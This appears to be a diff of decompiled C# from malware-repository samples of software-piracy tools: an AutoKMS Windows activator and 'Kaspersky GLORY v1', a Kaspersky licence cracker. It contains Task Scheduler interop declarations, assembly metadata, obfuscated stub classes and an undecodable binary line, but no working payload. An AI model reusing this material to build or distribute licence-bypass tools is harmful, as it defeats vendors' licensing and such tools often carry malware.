// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
[Guid("148BD524-A2AB-11CE-B11F-00AA00530503")]
|
||||
internal interface ITask
|
||||
{
|
||||
void CreateTrigger(out ushort NewTriggerIndex, [MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger);
|
||||
|
||||
void DeleteTrigger([In] ushort TriggerIndex);
|
||||
|
||||
void GetTriggerCount(out ushort Count);
|
||||
|
||||
void GetTrigger([In] ushort TriggerIndex, [MarshalAs(UnmanagedType.Interface)] out ITaskTrigger Trigger);
|
||||
|
||||
void GetTriggerString([In] ushort TriggerIndex, out IntPtr TriggerString);
|
||||
|
||||
void GetRunTimes(
|
||||
[MarshalAs(UnmanagedType.Struct), In] ref SystemTime Begin,
|
||||
[MarshalAs(UnmanagedType.Struct), In] ref SystemTime End,
|
||||
ref ushort Count,
|
||||
out IntPtr TaskTimes);
|
||||
|
||||
void GetNextRunTime([MarshalAs(UnmanagedType.Struct), In, Out] ref SystemTime NextRun);
|
||||
|
||||
void SetIdleWait([In] ushort IdleMinutes, [In] ushort DeadlineMinutes);
|
||||
|
||||
void GetIdleWait(out ushort IdleMinutes, out ushort DeadlineMinutes);
|
||||
|
||||
void Run();
|
||||
|
||||
void Terminate();
|
||||
|
||||
void EditWorkItem([In] uint hParent, [In] uint dwReserved);
|
||||
|
||||
void GetMostRecentRunTime([MarshalAs(UnmanagedType.Struct), In, Out] ref SystemTime LastRun);
|
||||
|
||||
void GetStatus([MarshalAs(UnmanagedType.Error)] out int Status);
|
||||
|
||||
void GetExitCode(out uint ExitCode);
|
||||
|
||||
void SetComment([MarshalAs(UnmanagedType.LPWStr), In] string Comment);
|
||||
|
||||
void GetComment(out IntPtr Comment);
|
||||
|
||||
void SetCreator([MarshalAs(UnmanagedType.LPWStr), In] string Creator);
|
||||
|
||||
void GetCreator(out IntPtr Creator);
|
||||
|
||||
void SetWorkItemData([In] ushort DataLen, [MarshalAs(UnmanagedType.LPArray, ArraySubType = UnmanagedType.U1), In] byte[] Data);
|
||||
|
||||
void GetWorkItemData(out ushort DataLen, out IntPtr Data);
|
||||
|
||||
void SetErrorRetryCount([In] ushort RetryCount);
|
||||
|
||||
void GetErrorRetryCount(out ushort RetryCount);
|
||||
|
||||
void SetErrorRetryInterval([In] ushort RetryInterval);
|
||||
|
||||
void GetErrorRetryInterval(out ushort RetryInterval);
|
||||
|
||||
void SetFlags([In] uint Flags);
|
||||
|
||||
void GetFlags(out uint Flags);
|
||||
|
||||
void SetAccountInformation([MarshalAs(UnmanagedType.LPWStr), In] string AccountName, [In] IntPtr Password);
|
||||
|
||||
void GetAccountInformation(out IntPtr AccountName);
|
||||
|
||||
void SetApplicationName([MarshalAs(UnmanagedType.LPWStr), In] string ApplicationName);
|
||||
|
||||
void GetApplicationName(out IntPtr ApplicationName);
|
||||
|
||||
void SetParameters([MarshalAs(UnmanagedType.LPWStr), In] string Parameters);
|
||||
|
||||
void GetParameters(out IntPtr Parameters);
|
||||
|
||||
void SetWorkingDirectory([MarshalAs(UnmanagedType.LPWStr), In] string WorkingDirectory);
|
||||
|
||||
void GetWorkingDirectory(out IntPtr WorkingDirectory);
|
||||
|
||||
void SetPriority([In] uint Priority);
|
||||
|
||||
void GetPriority(out uint Priority);
|
||||
|
||||
void SetTaskFlags([In] uint Flags);
|
||||
|
||||
void GetTaskFlags(out uint Flags);
|
||||
|
||||
void SetMaxRunTime([In] uint MaxRunTimeMS);
|
||||
|
||||
void GetMaxRunTime(out uint MaxRunTimeMS);
|
||||
}
|
||||
}
|
||||
+32
@@ -0,0 +1,32 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.ITaskScheduler
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
[Guid("148BD527-A2AB-11CE-B11F-00AA00530503")]
|
||||
internal interface ITaskScheduler
|
||||
{
|
||||
void SetTargetComputer([MarshalAs(UnmanagedType.LPWStr), In] string Computer);
|
||||
|
||||
void GetTargetComputer(out IntPtr Computer);
|
||||
|
||||
void Enum([MarshalAs(UnmanagedType.Interface)] out IEnumWorkItems EnumWorkItems);
|
||||
|
||||
void Activate([MarshalAs(UnmanagedType.LPWStr), In] string Name, [In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object obj);
|
||||
|
||||
void Delete([MarshalAs(UnmanagedType.LPWStr), In] string Name);
|
||||
|
||||
void NewWorkItem([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [In] ref Guid rclsid, [In] ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object obj);
|
||||
|
||||
void AddWorkItem([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [MarshalAs(UnmanagedType.Interface), In] ITask WorkItem);
|
||||
|
||||
void IsOfType([MarshalAs(UnmanagedType.LPWStr), In] string TaskName, [In] ref Guid riid);
|
||||
}
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.ITaskTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Guid("148BD52B-A2AB-11CE-B11F-00AA00530503")]
|
||||
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
|
||||
internal interface ITaskTrigger
|
||||
{
|
||||
void SetTrigger([MarshalAs(UnmanagedType.Struct), In, Out] ref TaskTrigger Trigger);
|
||||
|
||||
void GetTrigger([MarshalAs(UnmanagedType.Struct), In, Out] ref TaskTrigger Trigger);
|
||||
|
||||
void GetTriggerString(out IntPtr TriggerString);
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.MonthlyDOW
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct MonthlyDOW
|
||||
{
|
||||
public ushort WhichWeek;
|
||||
public ushort DaysOfTheWeek;
|
||||
public ushort Months;
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.MonthlyDate
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct MonthlyDate
|
||||
{
|
||||
public uint Days;
|
||||
public ushort Months;
|
||||
}
|
||||
}
|
||||
+37
@@ -0,0 +1,37 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.PropSheetFlags
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[Flags]
|
||||
internal enum PropSheetFlags : uint
|
||||
{
|
||||
PSH_DEFAULT = 0,
|
||||
PSH_PROPTITLE = 1,
|
||||
PSH_USEHICON = 2,
|
||||
PSH_USEICONID = 4,
|
||||
PSH_PROPSHEETPAGE = 8,
|
||||
PSH_WIZARDHASFINISH = 16, // 0x00000010
|
||||
PSH_WIZARD = 32, // 0x00000020
|
||||
PSH_USEPSTARTPAGE = 64, // 0x00000040
|
||||
PSH_NOAPPLYNOW = 128, // 0x00000080
|
||||
PSH_USECALLBACK = 256, // 0x00000100
|
||||
PSH_HASHELP = 512, // 0x00000200
|
||||
PSH_MODELESS = 1024, // 0x00000400
|
||||
PSH_RTLREADING = 2048, // 0x00000800
|
||||
PSH_WIZARDCONTEXTHELP = 4096, // 0x00001000
|
||||
PSH_WIZARD97 = 16777216, // 0x01000000
|
||||
PSH_WATERMARK = 32768, // 0x00008000
|
||||
PSH_USEHBMWATERMARK = 65536, // 0x00010000
|
||||
PSH_USEHPLWATERMARK = 131072, // 0x00020000
|
||||
PSH_STRETCHWATERMARK = 262144, // 0x00040000
|
||||
PSH_HEADER = 524288, // 0x00080000
|
||||
PSH_USEHBMHEADER = 1048576, // 0x00100000
|
||||
PSH_USEPAGELANG = 2097152, // 0x00200000
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.PropSheetHeader
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct PropSheetHeader
|
||||
{
|
||||
public uint dwSize;
|
||||
public uint dwFlags;
|
||||
public IntPtr hwndParent;
|
||||
public IntPtr hInstance;
|
||||
public IntPtr hIcon;
|
||||
public string pszCaption;
|
||||
public uint nPages;
|
||||
public uint nStartPage;
|
||||
public IntPtr phpage;
|
||||
public IntPtr pfnCallback;
|
||||
public IntPtr hbmWatermark;
|
||||
public IntPtr hplWatermark;
|
||||
public IntPtr hbmHeader;
|
||||
}
|
||||
}
|
||||
+16
@@ -0,0 +1,16 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.PropertySheetDisplay
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal class PropertySheetDisplay
|
||||
{
|
||||
[DllImport("comctl32.dll")]
|
||||
public static extern int PropertySheet([MarshalAs(UnmanagedType.Struct), In] ref PropSheetHeader psh);
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.SystemTime
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct SystemTime
|
||||
{
|
||||
public ushort Year;
|
||||
public ushort Month;
|
||||
public ushort DayOfWeek;
|
||||
public ushort Day;
|
||||
public ushort Hour;
|
||||
public ushort Minute;
|
||||
public ushort Second;
|
||||
public ushort Milliseconds;
|
||||
}
|
||||
}
|
||||
+29
@@ -0,0 +1,29 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.TaskTrigger
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct TaskTrigger
|
||||
{
|
||||
public ushort TriggerSize;
|
||||
public ushort Reserved1;
|
||||
public ushort BeginYear;
|
||||
public ushort BeginMonth;
|
||||
public ushort BeginDay;
|
||||
public ushort EndYear;
|
||||
public ushort EndMonth;
|
||||
public ushort EndDay;
|
||||
public ushort StartHour;
|
||||
public ushort StartMinute;
|
||||
public uint MinutesDuration;
|
||||
public uint MinutesInterval;
|
||||
public uint Flags;
|
||||
public TaskTriggerType Type;
|
||||
public TriggerTypeData Data;
|
||||
public ushort Reserved2;
|
||||
public ushort RandomMinutesInterval;
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.TaskTriggerType
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal enum TaskTriggerType
|
||||
{
|
||||
TIME_TRIGGER_ONCE,
|
||||
TIME_TRIGGER_DAILY,
|
||||
TIME_TRIGGER_WEEKLY,
|
||||
TIME_TRIGGER_MONTHLYDATE,
|
||||
TIME_TRIGGER_MONTHLYDOW,
|
||||
EVENT_TRIGGER_ON_IDLE,
|
||||
EVENT_TRIGGER_AT_SYSTEMSTART,
|
||||
EVENT_TRIGGER_AT_LOGON,
|
||||
}
|
||||
}
|
||||
+23
@@ -0,0 +1,23 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.TriggerTypeData
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
internal struct TriggerTypeData
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
public Daily daily;
|
||||
[FieldOffset(0)]
|
||||
public Weekly weekly;
|
||||
[FieldOffset(0)]
|
||||
public MonthlyDate monthlyDate;
|
||||
[FieldOffset(0)]
|
||||
public MonthlyDOW monthlyDOW;
|
||||
}
|
||||
}
|
||||
+14
@@ -0,0 +1,14 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: TaskSchedulerInterop.Weekly
|
||||
// Assembly: AutoKMS, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: D1CED9E3-1FC7-49B8-B3AC-44976AB7F6E4
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\HackTool.Win32.KMSAuto.i-f317ba4d4051fad64a0aa45b587fa3dcea795bac30acec2872779abe31a07cbe.exe
|
||||
|
||||
namespace TaskSchedulerInterop
|
||||
{
|
||||
internal struct Weekly
|
||||
{
|
||||
public ushort WeeksInterval;
|
||||
public ushort DaysOfTheWeek;
|
||||
}
|
||||
}
|
||||
BIN
Binary file not shown.
+1
@@ -0,0 +1 @@
|
||||
,ׁ@NR״�ֳ>ˆiֲלױם~C^7OCבEUYl])¨„&K‡ם›9”�`|F*0{׀&0])¨l�‚%E”ֱ<6°/¨ֲµ�Yk?;&9]₪״1³שֹc¥lcַx=
|
||||
BIN
Binary file not shown.
+20
@@ -0,0 +1,20 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
|
||||
[assembly: ThemeInfo(ResourceDictionaryLocation.None, ResourceDictionaryLocation.SourceAssembly)]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyFileVersion("1.0.1.0")]
|
||||
[assembly: Guid("11b48b33-8b70-4bdf-be7c-a245e8e3a8e5")]
|
||||
[assembly: AssemblyDelaySign(false)]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: SuppressIldasm]
|
||||
[assembly: AssemblyKeyName("")]
|
||||
[assembly: AssemblyCopyright("Copyright @ Glory Team & ARAB-GB 2011")]
|
||||
[assembly: AssemblyProduct("Kaspersky_GLORY_v1")]
|
||||
[assembly: ComVisible(true)]
|
||||
[assembly: AssemblyDescription("By Glory team")]
|
||||
[assembly: AssemblyCompany("Glory Team & ARAB-GB")]
|
||||
[assembly: AssemblyTitle("Kaspersky GLORY v1")]
|
||||
[assembly: AssemblyVersion("1.0.1.0")]
|
||||
+270
@@ -0,0 +1,270 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: DSIZmcjAW3UHvpoiYv.BZKTitwbNl6DcN6q4t
|
||||
// Assembly: Kaspersky GLORY v1, Version=1.0.1.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: E47827BB-114D-421C-9576-332833461261
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00002-msil\HackTool.Win32.Kiser.arr-d9e3046447f55f0acbc9626459367c8d8226ca5bb85aad312f680810b76a22b6.exe
|
||||
|
||||
using Kaspersky_GLORY_v1;
|
||||
using Microsoft.VisualBasic;
|
||||
using Microsoft.VisualBasic.ApplicationServices;
|
||||
using Microsoft.VisualBasic.CompilerServices;
|
||||
using Microsoft.VisualBasic.Devices;
|
||||
using p2XtB2VTdFjK0JQIVK;
|
||||
using PiDHnfAR7iBcyRY1A4;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Windows;
|
||||
|
||||
namespace DSIZmcjAW3UHvpoiYv
|
||||
{
|
||||
[HideModuleName]
|
||||
[StandardModule]
|
||||
internal sealed class BZKTitwbNl6DcN6q4t
|
||||
{
|
||||
private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Computer> \u0037wUA3K5FS;
|
||||
private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<User> StWuGHvv3;
|
||||
private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi> iepZybAkM;
|
||||
private static MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Microsoft.VisualBasic.Logging.Log> TJfGoS1Nc;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
static BZKTitwbNl6DcN6q4t()
|
||||
{
|
||||
\u0032xlZRjWMTMLrRPrwuC.\u0038wGy8Btdv();
|
||||
int num = 3;
|
||||
while (true)
|
||||
{
|
||||
switch (num)
|
||||
{
|
||||
case 0:
|
||||
case 2:
|
||||
BZKTitwbNl6DcN6q4t.StWuGHvv3 = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<User>();
|
||||
goto case 6;
|
||||
case 1:
|
||||
case 4:
|
||||
BZKTitwbNl6DcN6q4t.TJfGoS1Nc = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Microsoft.VisualBasic.Logging.Log>();
|
||||
num = 7;
|
||||
continue;
|
||||
case 3:
|
||||
BZKTitwbNl6DcN6q4t.fswDGCQwPWD1Buj7VaX();
|
||||
if (BZKTitwbNl6DcN6q4t.cPAySjQ1ZtgL5Iwasot())
|
||||
{
|
||||
num = 5;
|
||||
continue;
|
||||
}
|
||||
goto case 0;
|
||||
case 5:
|
||||
BZKTitwbNl6DcN6q4t.\u0037wUA3K5FS = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<Computer>();
|
||||
BZKTitwbNl6DcN6q4t.cPAySjQ1ZtgL5Iwasot();
|
||||
num = BZKTitwbNl6DcN6q4t.FvBuNBQ9IS7xWB2lJFv() ? 1 : 0;
|
||||
continue;
|
||||
case 6:
|
||||
BZKTitwbNl6DcN6q4t.iepZybAkM = new MdFubyyWUT0jdlleiq.kmiJxR0smO2aJ5fRa4<BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi>();
|
||||
goto case 1;
|
||||
case 7:
|
||||
goto label_8;
|
||||
default:
|
||||
if (true)
|
||||
{
|
||||
num = 6;
|
||||
continue;
|
||||
}
|
||||
goto case 6;
|
||||
}
|
||||
}
|
||||
label_8:;
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Kaspersky_GLORY_v1.Application seWsLuReV() => (Kaspersky_GLORY_v1.Application) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Computer CvmOFuRb7() => (Computer) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static User FleVY7hrK() => (User) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static Microsoft.VisualBasic.Logging.Log \u0038wGy8Btdv() => (Microsoft.VisualBasic.Logging.Log) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi \u0034y971Mpj6() => (BZKTitwbNl6DcN6q4t.YHLRBRarp6ocYAlDIi) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void fswDGCQwPWD1Buj7VaX()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool cPAySjQ1ZtgL5Iwasot() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool FvBuNBQ9IS7xWB2lJFv() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object kOiX32QCVdeXgn69Grf() => (object) null;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MyGroupCollection("System.Windows.Window", "Create__Instance__", "Dispose__Instance__", "My.MyWpfExtenstionModule.Windows")]
|
||||
internal sealed class YHLRBRarp6ocYAlDIi
|
||||
{
|
||||
public object \u0032I7wPSnFY;
|
||||
public object lMbr5OMgD;
|
||||
public object R5c2hJ3KY;
|
||||
public object BOlogqNeU;
|
||||
public object LdaiEVmoZ;
|
||||
public object O1BFmqXQx;
|
||||
public object Fx1nRfUKK;
|
||||
[ThreadStatic]
|
||||
private static Hashtable yUqUaojSS;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public FB ISFmXOES8() => (FB) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Kactive \u0038wGy8Btdv() => (Kactive) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public KDownloader uiDSJP5K6() => (KDownloader) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Loading iepZybAkM() => (Loading) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public MainWindow \u0032dt8e7deR() => (MainWindow) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public Support \u0038xXCMRTUE() => (Support) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public UpdateC \u00305iRvC3Dw() => (UpdateC) null;
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void FleVY7hrK([In] FB obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void HKGk3cGu3([In] Kactive obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void \u0037wUA3K5FS([In] KDownloader obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void TJfGoS1Nc([In] Loading obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void H10jte8fr([In] MainWindow obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void Mnd0ODixC([In] Support obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[SpecialName]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public void RVCQ5y8jV([In] UpdateC obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private static T seWsLuReV<T>(object Instance) where T : Window, new() => (T) null;
|
||||
|
||||
[DebuggerHidden]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
private void uWUfSQC1u<T>([In] ref T obj0) where T : Window
|
||||
{
|
||||
}
|
||||
|
||||
[DebuggerHidden]
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public YHLRBRarp6ocYAlDIi()
|
||||
{
|
||||
}
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override bool Equals([In] object obj0) => true;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override int GetHashCode() => 0;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal Type CvmOFuRb7() => (Type) null;
|
||||
|
||||
[EditorBrowsable(EditorBrowsableState.Never)]
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
public override string ToString() => (string) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool y3NQGTQ6C2pOCLxvcxJ() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool AlEcB2QeD1j5ndJP9mg() => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0035BWPFdQV9aqfgKLuaBc()
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static void \u0038lhZPqQtmaxe25m8qAD([In] object obj0)
|
||||
{
|
||||
}
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static object EfJ9ofQUJwsYZNiaiIg([In] object obj0) => (object) null;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static bool \u0030ydOjxQbwKuKM4fQy07([In] object obj0, [In] object obj1) => true;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
internal static int pQuHWpQP6iU3Jk0JNYa([In] object obj0) => 0;
|
||||
|
||||
[MethodImpl(MethodImplOptions.NoInlining)]
|
||||
